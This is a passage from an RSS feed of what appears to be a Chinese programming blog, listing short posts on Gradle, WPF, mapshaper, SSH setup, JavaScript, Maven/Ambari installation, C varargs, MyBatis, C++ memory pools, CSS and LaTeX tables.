      <description>从github上clone了一个项目，却出现了Error:No service of type Factory&amp;lt;LoggingManagerInternal&amp;gt; available in ProjectScopeServices.的提示&#xA;clean一下项目，终于可以看到详细信息了。&#xA;接下来就继续搜错，could not create plugin of type &#39;androidmavenplugin&#39;.的因为，说是meaven的原因，修改起来也特别简单，Project下的build.gradel，修改版本就好了。&#xA;将1.3的版本修改为1.4.1即可，如果还是不可以 ，就换一个别的版本号试一下，然后点击 Try Again，就搞定了。&#xA;dependencies{ classpath&#39;com.android.tools.build:gradle:2.2.2&#39;&#xA;classpath&#39;com.github.dcendents:android-maven-gradle-plugin:1.4.1&#39;&#xA;classpath&#39;com.jfrog.bintray.gradle:gradle-bintray-plugin:1.3.1&#39;&#xA;// NOTE: Do not place your application dependencies here; they belong&#xA;// in the individual module build.gradle files&#xA;}</description>
    </item>
    <item>
      <title>wpf屏蔽快捷键alt&#43;space，alt&#43;F4</title>
      <link>https://bchobby.github.io/posts/374d41189d6708c4e5469904b84b22cf/</link>
      <pubDate>Thu, 09 Feb 2017 16:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/374d41189d6708c4e5469904b84b22cf/</guid>
      <description>/// &amp;lt;summary&amp;gt;&#xA;/// 阻止 alt+f4和alt+space 按键&#xA;/// &amp;lt;/summary&amp;gt;&#xA;/// &amp;lt;param name=&#34;e&#34;&amp;gt;&amp;lt;/param&amp;gt;&#xA;protected override void OnKeyDown(System.Windows.Input.KeyEventArgs e)&#xA;{&#xA;if (Keyboard.Modifiers == ModifierKeys.Alt &amp;amp;&amp;amp; e.SystemKey == Key.Space)&#xA;{&#xA;e.Handled = true;&#xA;}&#xA;else if (Keyboard.Modifiers == ModifierKeys.Alt &amp;amp;&amp;amp; e.SystemKey == Key.F4)&#xA;{&#xA;e.Handled = true;&#xA;}&#xA;else&#xA;{&#xA;base.OnKeyDown(e);&#xA;}&#xA;}&#xA;转载于:https://www.cnblogs.com/chlm/p/6382846.html</description>
    </item>
    <item>
      <title>mapshaper系列之三 - I/O命令</title>
      <link>https://bchobby.github.io/posts/ede3a2d6f05f51b167bc01966c71f822/</link>
      <pubDate>Wed, 08 Feb 2017 23:05:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ede3a2d6f05f51b167bc01966c71f822/</guid>
      <description>本文介绍Mapshaper的输入命令 -i（input）和输出命令-o（output）。&#xA;一、输入命令 -i&#xA;输入命令 -i 允许输入一个或多个shape、json、dbf或限定文本格式的文件。如果 mapshaper 后紧跟输入的文件名，命令 -i 可省略。JSON文件可以是geojson、topojson或数据记录的数组。mapshaper不完全支持shapefile中的Z值和M值，输入文件中的Z值和M值会丢失。默认情况下，输入的多个文件会分开单独处理，就像是同一个命令执行多次一样，但命令中出现参数 merge-files 和 combine-files 会改变这种情况。&#xA;可选择的参数如下：&#xA;&amp;lt;files&amp;gt; ：输入的单个或多个文件（以空格分割的列表），利用 &#34;-&#34; 从 &#34;/dev/stdin&#34;引进topojson或geojson；&#xA;merge-files： （不推荐使用）将输入多个文件中的要素合并到尽可能少的图层中；&#xA;推荐使用的方法：用&#34;-i combine-files&#34; 导入多个文件到分离的图层中，然后使用命令&#34;-merge-layers&#34;合并图层。&#xA;combine-files ： 以共享拓扑的方式导入多个文件到分离的图层中，这对生成一个包含多个几何对象的topojson文件很有价值。&#xA;snap： 将极小阈值范围内的顶点捕捉到一起，这个参数用于修复相邻多边形中极小的坐标偏差。每个平均分段长度的捕捉距离是0.0025。&#xA;auto-snap ： （不推荐使用）&#34;snap&#34;的别名。&#xA;snap-interval ： 指定以源数据为单位的捕捉距离。&#xA;precision ： （不推荐使用）将所有坐标四舍五入到指定的精度，如 0.001。强烈推荐在输出时使用 &#34;-o precision=&#34;设置坐标的精度。&#xA;no-topology ： 在处理大数据量文件时，忽略拓扑标记以加快处理的速度，用于类似 &#34;-filter&#34;等不要求拓扑的命令。&#xA;encoding=： 指定读取 .dbf和限定格式文本文件的编码格式，如果不指定encoding参数，mapshaper会尝试检测 .dbf文件的编码方式，dbf的编码可以利用 .cpg 文件设置。&#xA;id-field=： 对于geojson和topojson文件，引入属性id的值到数据项中。&#xA;field-types： 属性的数据类型，字段名称与字段类型用 &#34;:&#34;连接，多个之间通过 “，”分隔，如 FIPS:str,zipcode:str。可识别的类型包括 :str，:string， :num 和 :number。对于没有指定类型的，类似数字的字段内容会被自动转成数字，如邮政编码。&#xA;name=： 重命名引入的图层。&#xA;示例：&#xA;#以latin1编码方式输入一个shapefile，同时查看包含的数据内容 mapshaper countries_wgs84.</description>
    </item>
    <item>
      <title>MAC环境下安装SSH</title>
      <link>https://bchobby.github.io/posts/40cc5805140ce9f46b83f735524c07da/</link>
      <pubDate>Wed, 08 Feb 2017 20:30:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40cc5805140ce9f46b83f735524c07da/</guid>
      <description> 配置ssh 首先确认能够远程登录 系统偏好设置－共享 在终端执行&#xA;ssh-keygen -t rsa 一路回车就行 会在~/.ssh目录下生成两个文件 然后执行&#xA;cat ~/.ssh/id_rsa.pub &amp;gt;&amp;gt; ~/.ssh/authorized_keys 3、验证ssh ssh localhost </description>
    </item>
    <item>
      <title>javascript重点-表达式和运算符</title>
      <link>https://bchobby.github.io/posts/40ee5a830069ba8dbc0965f1df998666/</link>
      <pubDate>Wed, 08 Feb 2017 11:08:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40ee5a830069ba8dbc0965f1df998666/</guid>
      <description>一、js表达式&#xA;定义：表达式是指能计算出值得任何可用程序单元。 ——wiki&#xA;表达式是js一种短语，可使js解释器用来产生一个值。 ——js《权威指南》&#xA;1.原始表达式。&#xA;常量/直接量： 3.14/ &#34;test&#34; 等&#xA;关键字： null，this，true，false 等&#xA;变量： i，k，j 等&#xA;复合表达式：原始表达式和原始表达式之间用运算符连接可以组成一个复合表达式。&#xA;例如： 10 * 20 这就是一个复合表达式&#xA;2.（数组、对象的）初始化表达式。&#xA;例如：&#xA;[1,2] 等价于 new Array（1,2）；&#xD;[1，，，2] 等价于 new Array（1，undefined，undefined，2）；&#xD;{x：1，y：2} 等价于 var obj = new Object（）；&#xD;obj.x = 1;obj.y = 2;&#xD;3.函数表达式。&#xA;var fn = function（）{}；&#xA;或者：&#xA;（function（）{ console.log(&#34;hello&#34;) }）()；&#xA;如果你不理解函数表达式后面还会有对应的介绍。&#xA;4.属性访问表达式。&#xA;var obj = {x：1}&#xA;我们可以通过 obj.x 或者 obj[&#34;x&#34;]来访问它的属性，这一类表达式就称之为属性访问表达式。&#xA;5.调用表达式。&#xA;func（）； 来调用一个函数，这样的表达式就称之为调用表达式。&#xA;6.对象创建表达式。&#xA;例如：&#xA;new Func（1,2）；我们可以传参，如果没有参数我们也可以new Object；创建一个空的对象这样也是合法的。</description>
    </item>
    <item>
      <title>4-10 二分查找</title>
      <link>https://bchobby.github.io/posts/3eead37e5334ec5d046844fdb65d037f/</link>
      <pubDate>Tue, 07 Feb 2017 22:23:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3eead37e5334ec5d046844fdb65d037f/</guid>
      <description>4-10 二分查找&#xA;本题要求实现二分查找算法。&#xA;函数接口定义： Position BinarySearch( List Tbl, ElementType K );&#xD;其中List结构定义如下：&#xA;typedef int Position;&#xD;typedef struct LNode *List;&#xD;struct LNode {&#xD;ElementType Data[MAXSIZE];&#xD;Position Last; /* 保存线性表中最后一个元素的位置 */&#xD;};&#xD;Tbl是用户传入的一个线性表，其中ElementType元素可以通过&amp;gt;&amp;gt;、====、&amp;lt;&amp;lt;进行比较，并且题目保证传入的数据是递增有序的。函数BinarySearch要查找K在Tbl中的位置，即数组下标（注意：元素从下标1开始存储）。找到则返回下标，否则返回一个特殊的失败标记NotFound。&#xA;输入样例1： 5&#xD;12 31 55 89 101&#xD;31&#xD;输出样例1： 2&#xD;输入样例2： 3&#xD;26 78 233&#xD;31&#xD;输出样例2： 0&#xA;代码：&#xA;1 #include&amp;lt;iostream&amp;gt;&#xD;2 #include&amp;lt;stdio.h&amp;gt;&#xD;3 #include&amp;lt;stdlib.h&amp;gt;&#xD;4 #include&amp;lt;string.h&amp;gt;&#xD;5 using namespace std;&#xD;6 #define MAXSIZE 10&#xD;7 #define NotFound 0&#xD;8 typedef int ElementType;&#xD;9 10 typedef int Position;&#xD;11 typedef struct LNode *List;&#xD;12 struct LNode {&#xD;13 ElementType Data[MAXSIZE];&#xD;14 int Last; /* 保存线性表中最后一个元素的位置 */&#xD;15 };&#xD;16 17 List ReadInput(); /* 裁判实现，细节不表。元素从下标1开始存储 */&#xD;18 Position BinarySearch( List Tbl, ElementType K );&#xD;19 20 int main()&#xD;21 {&#xD;22 List Tbl;&#xD;23 ElementType K;&#xD;24 Position P;&#xD;25 Tbl = ReadInput();&#xD;26 scanf(&#34;</description>
    </item>
    <item>
      <title>前端javascript 错误 Uncaught SyntaxError: Unexpected token ILLEGAL</title>
      <link>https://bchobby.github.io/posts/b8681b403463aa246a53e984647c2094/</link>
      <pubDate>Tue, 07 Feb 2017 19:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8681b403463aa246a53e984647c2094/</guid>
      <description>前端控制台报Uncaught SyntaxError: Unexpected token ILLEGAL 错误时，就是非法字符错误，首先检查符号是否正确，不要出现中文标点！&#xA;然后检查参数之类的类型是否正确，有的是字符串，如果没有加引号也会爆这个错误。&#xA;最近写了两天前端，相对来说，错误都是些低级错误，但是莫名其妙不好判断，&#xA;主要还是检查类型、符号使用准确&#xA;转载于:https://www.cnblogs.com/music180/p/6375570.html</description>
    </item>
    <item>
      <title>根据经纬度，计算距离</title>
      <link>https://bchobby.github.io/posts/dfe0d3812f71c19949aca4866ec59d65/</link>
      <pubDate>Tue, 07 Feb 2017 10:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfe0d3812f71c19949aca4866ec59d65/</guid>
      <description>private static final double EARTH_RADIUS = 6378137;//赤道半径(单位m) /** * 转化为弧度(rad) * */ private static double rad(double d) { return d * Math.PI / 180.0; } /** * 基于余弦定理求两经纬度距离 * @param lon1 第一点的精度 * @param lat1 第一点的纬度 * @param lon2 第二点的精度 * @param lat3 第二点的纬度 * @return 返回的距离，单位km * */ public static double LantitudeLongitudeDist(double lon1, double lat1,double lon2, double lat2) { double radLat1 = rad(lat1); double radLat2 = rad(lat2); double radLon1 = rad(lon1); double radLon2 = rad(lon2); if (radLat1 &amp;lt; 0) radLat1 = Math.</description>
    </item>
    <item>
      <title>编译安装Ambari</title>
      <link>https://bchobby.github.io/posts/d9f5f0e89dd7bcface9d7ec30bfe0079/</link>
      <pubDate>Mon, 06 Feb 2017 14:00:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9f5f0e89dd7bcface9d7ec30bfe0079/</guid>
      <description>1.2 需要安装的工具 1.2.1 安装JDK 输入命令&#xA;[root@bigData-02 ~]# Java –version&#xA;java version &#34;1.7.0_51&#34;&#xA;Java(TM) SE Runtime Environment (build 1.7.0_51-b13)&#xA;Java HotSpot(TM) 64-Bit Server VM (build 24.51-b03, mixed mode)&#xA;如果出现以上数据，表明已经安装成功jdk。如果没有安装，使用yum安装jdk。&#xA;[root@bigData-02 ~]# yum install jdk&#xA;1.2.2 安装Apache Maven 3.0.5 官网下载apache maven，推荐版本3.0.5 [root@bigData-02 ~]# wget http://apache.fayea.com/apache-mirror/maven/maven-3/3.0.5/binaries/apache-maven-3.0.5-bin.tar.gz&#xA;解压 [root@bigData-02 ~]# tar -zxvf apache-maven-3.0.5-bin.tar.gz&#xA;设置环境变量 [root@bigData-02 ~]# vi /etc/profile&#xA;export MAVEN_HOME=&#34;/usr/local/apache-maven-3.0.5&#34;&#xA;export path=$path: $MAVEN_HOME/bin&#xA;[root@bigData-02 ~]#source /etc/profile&#xA;4)检查是否安装成功&#xA;[root@bigData-02 ~]# mvn -v&#xA;Apache Maven 3.</description>
    </item>
    <item>
      <title>C/C&#43;&#43;可变参数</title>
      <link>https://bchobby.github.io/posts/a809e5f8b0eb6e3c69a6e00616057624/</link>
      <pubDate>Mon, 06 Feb 2017 11:58:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a809e5f8b0eb6e3c69a6e00616057624/</guid>
      <description>在C/C++中会遇到需要定义使用可变参数的函数，例如printf就是，他的格式就是int printf(const char *format,...)，对于这样类型的函数，他的实现实际上就是从format格式的指针指向的空间中读取可变参数的类型，然后根据可变参数的首地址读取相应的可变参数值&#xA;他的具体实现需要借助于3个宏实现（为了方便理解，以函数声明方式显示）：&#xA;void va_start(va_list ap,last);//获取可变参数开始的首地址&#xA;type va_arg(va_list ap,type);//根据type参数类型获取实参值返回void va_end(va_list ap);//将可变参数指针归NULL 其中va_list实际就是void*类型：&#xA;#define va_list void * #define va_start(ap,last) (ap = ((va_list)&amp;amp;last+sizeof(va_list))) #define va_arg(ap,type) (*(type*)((ap += sizeof(type)) - sizeof(type))) #define va_end(ap) (ap = (va_list)0) 具体流程如下：&#xA;1.定义变量ap，它用来指向可变参数的首地址&#xA;va_list ap; 2.获取可变参数的首地址并赋值给ap&#xA;va_start(ap,format); 3.从format中获取参数类型type&#xA;根据format中的特殊关键字符获取type，例如printf中的“%d”、“%x”、“%s”、“%02x”等。&#xA;4.根据获取到的参数类型从ap中获取实参&#xA;type arg; arg = va_arg(ap,type); 5.循环直到将format中的关于类型的特殊字符读取完结束&#xA;直到ap取完，例如printf中format == NULL表示字符串取完。</description>
    </item>
    <item>
      <title>Mybatis动态插入数据（使用trim标签）</title>
      <link>https://bchobby.github.io/posts/4d24658e707e8b04afb7705e6f008eef/</link>
      <pubDate>Sun, 05 Feb 2017 11:38:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d24658e707e8b04afb7705e6f008eef/</guid>
      <description>Mybatis动态插入数据（使用trim标签） 有时我们控制同一张表，但传入的参数不固定，操作表的字段不固定，就要用到mybatis动态插入。.xml如下：&#xA;&amp;lt;insert id=&#34;insertMessage&#34; parameterType=&#34;com.sf.ccsp.member.client.request.MessageReq&#34;&amp;gt; insert cx_customer_message (ID,MEMBERID, &amp;lt;if test=&#39;messageClassify != null and messageClassify != &#34;&#34; &#39;&amp;gt; MESSAGEE_CLASSIFY, &amp;lt;/if&amp;gt; &amp;lt;if test=&#39;messageCode != null and messageCode != &#34;&#34; &#39;&amp;gt; MESSAGE_CODE, &amp;lt;/if&amp;gt; &amp;lt;if test=&#39;messageContent != null and messageContent != &#34;&#34; &#39;&amp;gt; MESSAGE_CONTENT &amp;lt;/if&amp;gt; ) values ( #{id, jdbcType=VARCHAR}, #{memberId, jdbcType=VARCHAR}, &amp;lt;if test=&#39;messageClassify != null and messageClassify != &#34;&#34; &#39;&amp;gt; #{messageClassify, jdbcType=VARCHAR}, &amp;lt;/if&amp;gt; &amp;lt;if test=&#39;messageCode != null and messageCode != &#34;&#34; &#39;&amp;gt; #{messageCode, jdbcType=VARCHAR}, &amp;lt;/if&amp;gt; &amp;lt;if test=&#39;messageContent !</description>
    </item>
    <item>
      <title>详谈内存管理技术（一）</title>
      <link>https://bchobby.github.io/posts/7c9675cac4b411cc11a4bd5e9be9caf9/</link>
      <pubDate>Fri, 03 Feb 2017 10:43:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c9675cac4b411cc11a4bd5e9be9caf9/</guid>
      <description>先自问一个问题：C++有几种new？&#xA;我一直以为是两种：operator new 和 placement new。刚刚查了下，原来是3种：还有一个是new operator。而且，我还弄错了一个...但是，无论如何，我们能够改变的只有两个：&#xA;1、operator new，分配内存。&#xA;2、placement new，构造对象。&#xA;而剩下的那个new operator很直白：负责调用上面两个new。也就是其仅仅是语法层次上的东西，用来产生operator new和placement new的语义。&#xA;这是一个不错的开始，因为我要讲的“内存管理”，其实是上面所提到的所有：内存分配和对象构造。当然，还有一个对称的内存释放和对象析构，这些自然也会有，只是相对来说前者更加直白和重要。或者，我可以换一个题目：内存与对象管理技术。&#xA;这将是一个，或者说数个相当大的话题；你不信，我可以给你一个列表（别眨眼）：&#xA;1、内存池，特别是一个可用的内存池，构建一个是相当困难的！其需要达到数个极其苛刻的要求：强悍的性能（否则我们还需要它？）、并发且线程安全（这点和上一点几乎是矛盾的存在）、高可用性（意味着其有着合理的回收机制，否则可能会浪费大量内存；而且能够处理相当畸形的环境，比如单一线程分配，单一线程回收）、可调试（简直不可能!!!）。&#xA;2、线程模型，任何涉及并发的技术，都需要一个强大的线程模型，以提供各种额外的支持；为什么会提到它？内存分配不需要并发？不要开玩笑。没有TLS（线程本地存储），一切的并发都只能吃翔；而这却需要一个新的线程模型的支撑（系统的TLS，我个人而言，并不信任）。&#xA;3、对象构造管理，这其实是一个很庞大的工程；其处于整个C++的最底层，也就意味着，我需要足够的努力才能够去完成我想要达到的目标——对于不同的类型，我能够做出正确且最好的选择，来构造它。&#xA;4、类型系统，这是作为第三条的支撑性系统；如何达到上一条的目标？我需要一个类型系统，来提供足够的信息，以完成选择（需要注意的是：对象构造本身和类型系统，是独立的；只是恰巧，类型系统可以帮助对象获得最优的构造方式）。&#xA;5、垃圾收集器，这是一个C++“永远的痛”，特别是当我用C++创造了一门有垃圾收集的脚本语言时，深感如此；所以，我陆续构建了两套垃圾收集系统，以C++可用的方式，当然会有各种限制。这里，提到的原因很简单：我们都梦想着能够用上或者创造一个属于C++的垃圾收集器！！！ 特别是，在我做完上面的所有事情后。&#xA;看到没有，上面任何一个部分，都是一个庞大的话题；所幸的是，这些我都完整地做了一遍（或多遍），我会慢慢地，详细到来。&#xA;PS：写这部分，我是很高兴和激动的，因为，这正是我所最擅长的领域；而身边却没有一个可交流的人。&#xA;一、内存池&#xA;所有的STL容器，都有着一个不可忽视，但一直被无视的部分：内存适配器；其实，也就是一个预留的接口，某天我们能够使用更快的内存分配，来替换默认的malloc/free。毫无疑问，这就是内存池。许多书籍都提到并给出了详细的代码，来教会我们如何构建一个性能秒杀系统分配的单线程内存池；而在并发上，也就是支持多线程的内存池上，支支吾吾，止步于加锁...最后发现和系统分配并没有什么太大区别，毕竟系统分配也是加锁了的。&#xA;当然，要构建一个可用的高性能多线程内存池，并不困难；国内的还有人，特意写了一本书，来讲解他自己命名的多线程内存池（当我发现他所实现的高端货，和我自己折腾出来的一模一样时，便没看了：因为，造出来所需要的努力，其实远比写一本书少的多；当然，后者钱要多得多）。其思路很简单：&#xA;1、每一个线程一个内存池；通过TLS实现。&#xA;2、一个所有线程共用的全局内存池；用来给线程内部的池，提供分配和回收服务；当然，这一级访问需要锁~&#xA;3、线程内部池的分配回收策略（向共用池），共用池整体的分配回收策略（向系统）。&#xA;之所以“简单”，是前两个部分，是很直白和自然的解决方案！只要你记住一点：我要并发，我要性能——请问TLS。而需要思考和抉择的是第三点；之所以需要“思考”，因为没有超大规模数据的支撑的前提下，任何的策略都只是我们的臆想而已，任何可能的畸形分配情形，都会使我们所“猜测”出的策略无效；而“抉择”，是在我们了解到了足够信息后，必然需要面对的（否则，系统分配，还会有存在的理由？）。&#xA;所以，在面对一个“可用”的内存池时，我们需要足够的谨慎；而，我所要讲的就是这些“谨慎”。&#xA;二、线程模型&#xA;或许，我过于依赖TLS，因为我足够愚蠢：除此之外，我别无他法。&#xA;在我所提到的内存池中所使用的关键技术之一便是TLS；同样的在垃圾收集器部分，也将大量运用到TLS技术。所以，是的我们无法避开线程模型：因为，TLS需要一些额外的支持，恰巧C++没有给我们（所以，我只能自己去造）。&#xA;为什么，我不用Windows的TLS？主要原因是，我不信任它（属于个人直觉）；另外的一部分，则是我的库中是尽量避免任何第三方依赖！包括STL，我也不会用到（所以，我自己写了一套；还有更深层次的原因：我不喜欢STL的现有部分接口方式）。&#xA;什么是线程模型？我不知道。看到那么多人和大牛都在说，所以我也用了这个关键字。在我的库里就是：&#xA;1、重新定义的一整套接口，用来提供完整的线程服务；我使用了类似Java的方式，只要继承了IThread，然后实现run，便可开启另外一个线程：&#xA;class MyThread: public IThread{&#xD;void run(){&#xD;...&#xD;}&#xD;};&#xA;MyThread thread;&#xA;thread.execute();//启动线程 2、一个线程服务类，用于提供各种线程相关服务；其中最关键的服务就是TLS；还有一个稍微有一点霸气的功能：stop the world。也就是，它管理着当前所有运行着的线程，包括主线程。&#xA;3、线程工具类，TaskRunner、Thread、Timer、ThreadPool提供了各种不同的线程支持。&#xA;4、并发工具类，进行了抽象化后的锁和事件；当然重要的是锁：内核锁、临界区、读写锁。&#xA;所有的这些都是简单而无聊的；但作为一个整体来提供，则需要付出许多额外的努力。&#xA;三、对象构造&#xA;用“构造”这个词来限定这个领域；很不正确，毕竟完整的是：无参数构造（默认构造）、有参数构造、复制构造、对象析构、对象移动。一共5个部分需要我们关心，如果你还不明白，看看下面的代码：&#xA;Something* addr = (Something*)std::malloc(sizeof(Something));&#xD;//1、无参数构造&#xD;new (addr)Something();//调用Something();&#xD;//2、有参数构造&#xD;new (addr)Something(12);//调用Something(int);&#xD;//3、复制构造&#xD;Something value;&#xD;new (addr)Something(value);//调用Something(const Something&amp;amp;);&#xD;//4、对象析构&#xD;addr-&amp;gt;~Something();//调用~Something();&#xD;//5、对象移动&#xD;Something* other= (Something*)std::malloc(sizeof(Something));&#xD;new (other)Something(*addr);//将addr处的对象移到other&#xD;addr-&amp;gt;~Something();//析构掉addr的对象；只保留other处的，保证“移动”语义 上面都是最保守的方式；对于基本类型，以及自定义POD类型，我们并不需要这样“复杂”的调用：</description>
    </item>
    <item>
      <title>网页多种版心适应多屏幕技巧</title>
      <link>https://bchobby.github.io/posts/ce63a45f6b1e48566ea3a2042b2444ea/</link>
      <pubDate>Sat, 21 Jan 2017 11:23:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce63a45f6b1e48566ea3a2042b2444ea/</guid>
      <description> 在工作当中，我们难免会遇到这样的适应屏幕需求，宽版以1200px为基准，窄版以1024为基准，版心应该怎么设置呢？而合理运用媒体查询就能非常容易帮我们解决这个问题。 /*版心*/ @media screen and (max-width:1200px) and (min-width:1024px){ .w{ width:1024px; margin:0 auto; position: relative; } } @media screen and (max-width:1024px){ .w{ width:960px; margin:0 auto; position: relative; } } @media screen and (min-width:1200px){ .w{ width:1200px; margin:0 auto; position: relative; } } </description>
    </item>
    <item>
      <title>Intellij IDEA Tomcat vm option 设置</title>
      <link>https://bchobby.github.io/posts/d5035130105b771a218bb717b7d3f571/</link>
      <pubDate>Fri, 20 Jan 2017 15:22:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5035130105b771a218bb717b7d3f571/</guid>
      <description> VM options：&#xA;-mx2048m -XX:MaxPermSize=2048m -Drebel.spring_plugin=true -Drebel.hibernate_plugin=true </description>
    </item>
    <item>
      <title>解决手机浏览器无法显示本地html文件</title>
      <link>https://bchobby.github.io/posts/c94a02327af0f4a66894e1fa4fb98fd5/</link>
      <pubDate>Fri, 20 Jan 2017 15:05:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c94a02327af0f4a66894e1fa4fb98fd5/</guid>
      <description>在网上下载了离线版的菜鸟教程，最后发现解压后无法用浏览器直接打开，以下为解决方法：&#xA;1.打开浏览器，我用的是手机qq浏览器，&#xA;2.进入文件下载，&#xA;3.我的文件--手机存储&#xA;4.在本地存储空间直接找到html文件就能直接打开了。&#xA;ps：其它手机浏览器也都差不多。</description>
    </item>
    <item>
      <title>Ubuntu每次启动都显示System program problem detected的解决办法</title>
      <link>https://bchobby.github.io/posts/4d17a5b20b92a455fcb081a707116695/</link>
      <pubDate>Fri, 20 Jan 2017 13:26:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d17a5b20b92a455fcb081a707116695/</guid>
      <description> 每次启动Ubuntu都显示System program problem detected，很烦人，不过修改一个文件就可以。&#xA;执行命令：&#xA;sudo gedit /etc/default/apport 将enabled=1改为enabled=0保存退出即可 </description>
    </item>
    <item>
      <title>横向的GridView</title>
      <link>https://bchobby.github.io/posts/7109cb458fa147406a2c0cf01e05d71f/</link>
      <pubDate>Fri, 20 Jan 2017 11:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7109cb458fa147406a2c0cf01e05d71f/</guid>
      <description>对于横向的GridView，很多人会说，没必要，用RecycleView就可以完成，但是，我就喜欢搞点特别的，因此当初就写了个横向的GridView。网上的东西大部分都有很多其它的东西，比如你要找一个功能，它会给你十个，然后你要去改，还不如自己写出来。。我的原则就是一切以简单为主。&#xA;主要代码：&#xA;DisplayMetrics dm =new DisplayMetrics(); getWindowManager().getDefaultDisplay().getMetrics(dm); float density = dm.density; int gridviewWidth = (int) (size * (length) * density); int itemWidth = (int) (length * density); LinearLayout.LayoutParams params = new LinearLayout.LayoutParams( gridviewWidth, LinearLayout.LayoutParams.MATCH_PARENT); mygridview.setLayoutParams(params); // 设置GirdView布局参数,横向布局的关键 mygridview.setColumnWidth(itemWidth); // 设置列表项宽 // gridsetRankPotentialActorGridViewView.setHorizontalSpacing(20); // 设置列表项水平间距 mygridview.setStretchMode(GridView.NO_STRETCH); mygridview.setNumColumns(size); // 设置列数量=列表集合数 xml布局主要代码： &amp;lt;HorizontalScrollView android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;wrap_content&#34; android:layout_marginLeft=&#34;5dp&#34; android:layout_marginRight=&#34;5dp&#34;&amp;gt; &amp;lt;LinearLayout android:layout_width=&#34;wrap_content&#34; android:layout_height=&#34;match_parent&#34; android:layout_marginBottom=&#34;10dp&#34;&amp;gt; &amp;lt;demo.leo.com.horizontalgridview.MyGridView android:id=&#34;@+id/mygridview&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; android:gravity=&#34;center&#34; android:numColumns=&#34;auto_fit&#34; android:scrollbars=&#34;none&#34; android:stretchMode=&#34;spacingWidthUniform&#34; /&amp;gt; &amp;lt;/LinearLayout&amp;gt; &amp;lt;/HorizontalScrollView&amp;gt; 话不多说，直接上传文件，另外附赠一个全能的ViewHolder</description>
    </item>
    <item>
      <title>Latex tabular和tabular* 注意表格样式参数命令</title>
      <link>https://bchobby.github.io/posts/79872c0ea7282179e5403019c6115b11/</link>
      <pubDate>Thu, 19 Jan 2017 19:19:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79872c0ea7282179e5403019c6115b11/</guid>
      <description>一、表格环境的定义 环境tabular和tabular*是生成表格的基本工具，其定义(语法)如下： \begin{tabular}[位置]{列}&#xA;行&#xA;\end{tabular} \begin{tabular*}{宽度}[位置]{列}&#xA;行&#xA;\end{tabular*} tabular环境可以用来排版带有横线和竖线的表格，LATEX自动确定表格的宽度；tabular*环境与tabular环境类似，只是可以用参数指定表格的整体宽度，另外列参数必须在第一列后面的某个地方包含一个合适的表达式(见下面说明)。 通常，为了使表格在页面上居中，要利用center环境: \begin{center}&#xA;表格&#xA;\end{center} 二、表格环境参数格式 2.1 位置可选参数 该参数表示表格相对于外部文本行基线的位置,又称为垂直定位参数，有三种情况: t: 表格顶部与当前外部文本行的基线重合 b: 表格底部与当前外部文本行的基线重合 缺省(不使用): 表格按照外部文本行的基线垂直居中&#xA;2.2 列必选参数 该参数表明表格的格式，故又称为列格式参数。在这个参数中，对每一列必须有一个相应的格式符号，另外还可能包含相应于表格左右边界和列间距的其它项。列格式符号可以取下列值： l: 列中文本左对齐 r: 列中文本右对齐 c: 列中文本居中 pf宽度g: 指定列的文本宽度，宽度由宽度参数给出,列中文本按该宽度自动换行 ｜: 画一条竖直线 ｜｜: 画二条紧相邻的竖直线&#xA;三、 表格文本行中的命令 表格中的每一水平行都由\结束。这些行由一组彼此之间用&amp;amp;符号分开的列条目组成。因此每一行应具有与列定义中列中相同数目的列条目，其中有些条目可以是空白的。 3.1 \tabularnewline命令 \tabularnewline命令用于强制一表格行的结束，而\除了可以结束整个一行表格内容外，还可以在单个列的内容中实现换行.&#xA;3.2 \ hline命令 这条命令只能位于第一行前面或紧接在行结束命令\的后面，表示在刚结束的那一行画一根水平的直线。如果这条命令位于表格的开头，那么就会在表格顶部画一横线，横线的宽度与表格的宽度相同. 放在一起的两条水平\hline命令就会画出两条间隔很小的水平线.&#xA;3.3 \cline{n-m}命令 这条命令的放置同\hline命令，并且在一行中可以出现多次。该命令从第n列的左边开始，画一条到第m列右边结束的水平线.&#xA;3.4 \ vline命令 该命令画一条竖直线，其高度等于其所在行的行高。用这种命令，可以得到那些不是贯穿整个表格的竖直线.&#xA;3.5 \multicolumn{数}{列}{文本}命令 这条命令只能位于一行的开始或者一个列分隔符(&amp;amp;)的后面，它把接下来的数个列合并成一个列处理，其内容为文本。该列的总宽度等于合并前各个列的宽度之和加上列间距之和。列参数的含义与tabular环境中列参数相似。&#xA;3.6 @表达式：@文本 @表达式在出现两列中间的每一行上插入文本，同时去掉原来在这两列间自动插入的 空白。我们有下面的几点为变通： 1. 如果我们需要继续使用空白，必须在@表达式的文本参数中包含\hspace{}命令。 2. 如果希望某两个特定列之间的间隔与缺省的标准间隔不同，可以在表格环境的行参数中相应的位置上放上@{\hsapce{宽度}}控制，此时该处列间间隔将变成宽度。 3. @表达式中使用\extracolsep{宽度}控制，使后面所有列间间隔在原来标准间隔的基础上增加宽度大小。 4.</description>
    </item>
    <item>
      <title>优达学城（Udacity）深度学习笔记-1.Python&amp;os学习</title>
      <link>https://bchobby.github.io/posts/87942a51015b34cd963d9ac03bf360c4/</link>
      <pubDate>Thu, 19 Jan 2017 17:36:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87942a51015b34cd963d9ac03bf360c4/</guid>
